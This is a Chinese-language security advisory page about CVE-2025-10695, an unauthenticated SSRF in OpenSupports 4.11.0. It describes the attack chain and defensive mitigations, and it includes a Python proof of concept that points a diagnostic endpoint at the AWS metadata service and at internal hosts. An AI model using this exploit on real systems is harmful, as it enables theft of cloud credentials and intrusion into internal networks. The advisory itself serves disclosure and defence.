IPBUF安全漏洞报告
English
CVE-2025-10695 CVSS 5.3 中危

CVE-2025-10695 OpenSupports未授权SSRF漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-10695
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenSupports

相关标签

SSRF服务端请求伪造OpenSupports未授权访问信息泄露内网扫描CVE-2025-10695中危漏洞网络攻击

漏洞概述

CVE-2025-10695是OpenSupports 4.11.0版本中存在的一个服务端请求伪造(SSRF)漏洞。该漏洞源于系统中存在两个未认证的诊断接口(diagnostic endpoints),这些接口允许后端根据攻击者提供的目标地址发起任意的网络连接请求。由于这两个接口的权限配置为'permission => any',即任何用户(包括未认证的匿名用户)都可以访问这些接口,从而实现了未授权的SSRF攻击。

该漏洞的CVSS 3.1评分为5.3,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N),也无需用户交互(UI:N)。该漏洞对机密性产生低影响(C:L),对完整性和可用性无直接影响。

攻击者可以利用此漏洞进行内部网络扫描、探测内网服务和端口、访问云元数据服务(如AWS的169.254.169.254),甚至在某些情况下与内部受限服务进行交互,从而绕过网络访问控制。漏洞由Fluid Attacks安全团队的研究员发现并报告,披露日期为2025年10月3日。该漏洞影响OpenSupports的4.11.0版本,建议用户及时升级到修复后的版本以消除安全风险。

技术细节

OpenSupports是一个开源的工单系统,其4.11.0版本中存在两个诊断接口(diagnostic endpoints),这些接口原本设计用于系统诊断和测试目的,但其权限配置存在严重缺陷。

漏洞的核心问题在于路由权限配置不当。开发者将这两个诊断接口的权限设置为'permission => any',这意味着任何HTTP请求都可以访问这些接口,无需进行身份验证或会话检查。当攻击者向这些接口发送包含目标URL或主机地址的请求时,服务器端会使用后端代码(如PHP的file_get_contents、curl或fsockopen等函数)主动向攻击者指定的目标发起网络连接。

利用方式如下:
1. 攻击者直接通过HTTP请求访问诊断接口,无需任何认证凭据;
2. 在请求参数中指定任意的目标URL或IP地址(如内网地址http://192.168.1.1或云元数据服务http://169.254.169.254);
3. 服务器端接收到请求后,会代替攻击者向指定目标发起请求;
4. 服务器将响应内容返回给攻击者,从而实现对内网资源的访问和信息泄露。

此漏洞的危害包括:内部网络拓扑扫描、内网服务指纹识别、访问受限的内部API、读取云元数据信息(可能导致凭据泄露),以及作为跳板进行进一步的内部攻击。

攻击链分析

STEP 1
步骤1:发现诊断接口
攻击者通过信息收集或源代码审计,发现OpenSupports 4.11.0中存在两个诊断接口,且这些接口的权限配置为'permission => any',允许未认证访问。
STEP 2
步骤2:构造SSRF请求
攻击者构造HTTP请求,在请求参数中指定任意的目标URL(如内网地址、云元数据服务地址等),向诊断接口发送请求。
STEP 3
步骤3:服务器端发起请求
OpenSupports服务器接收到请求后,使用后端代码主动向攻击者指定的目标地址发起网络连接,绕过网络访问控制。
STEP 4
步骤4:获取响应数据
服务器将目标地址的响应内容返回给攻击者,攻击者可以读取内网服务的响应数据、获取云元数据信息或进行内部网络扫描。
STEP 5
步骤5:进一步利用
攻击者利用获取的信息(如云凭据、内网拓扑、服务指纹等)进行进一步的渗透攻击,如访问内部管理面板、窃取敏感数据或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10695 - OpenSupports SSRF PoC # Unauthenticated SSRF via diagnostic endpoints import requests TARGET = "http://target-opensupports-server.com" # Replace with the actual diagnostic endpoint path discovered in OpenSupports DIAGNOSTIC_ENDPOINT = "/api/diagnostic/connect" # example path # Internal target for SSRF (e.g., internal network scan or metadata service) INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/" # AWS metadata # INTERNAL_TARGET = "http://192.168.1.1/admin" # Internal admin panel # INTERNAL_TARGET = "http://127.0.0.1:8080/internal-api" # Local service def exploit_ssrf(target_url, internal_url): """ Exploit unauthenticated SSRF in OpenSupports diagnostic endpoint. The endpoint accepts a URL parameter and triggers a backend request. """ url = f"{target_url}{DIAGNOSTIC_ENDPOINT}" params = { "url": internal_url, "host": internal_url, "address": internal_url, } try: # No authentication required - permission => 'any' response = requests.get(url, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body:\n{response.text[:2000]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-10695 - OpenSupports Unauthenticated SSRF") print(f"[*] Target: {TARGET}") print(f"[*] Internal Target: {INTERNAL_TARGET}") result = exploit_ssrf(TARGET, INTERNAL_TARGET) if result and "meta-data" in result.lower(): print("[+] SSRF successful! Cloud metadata accessible.") elif result: print("[+] SSRF request completed. Check response for sensitive data.")

影响范围

OpenSupports 4.11.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web服务器层面(如Nginx/Apache)通过访问控制规则阻止对诊断接口路径的未认证访问;2)在网络层面配置防火墙规则,限制服务器主动向外发起的网络连接,特别是阻止对内网地址段(如127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)和云元数据服务地址(169.254.169.254)的访问;3)在应用层面临时修改路由配置,将诊断接口的权限从'any'修改为仅限已认证的管理员用户;4)监控相关接口的访问日志,及时发现和阻断可疑的SSRF攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表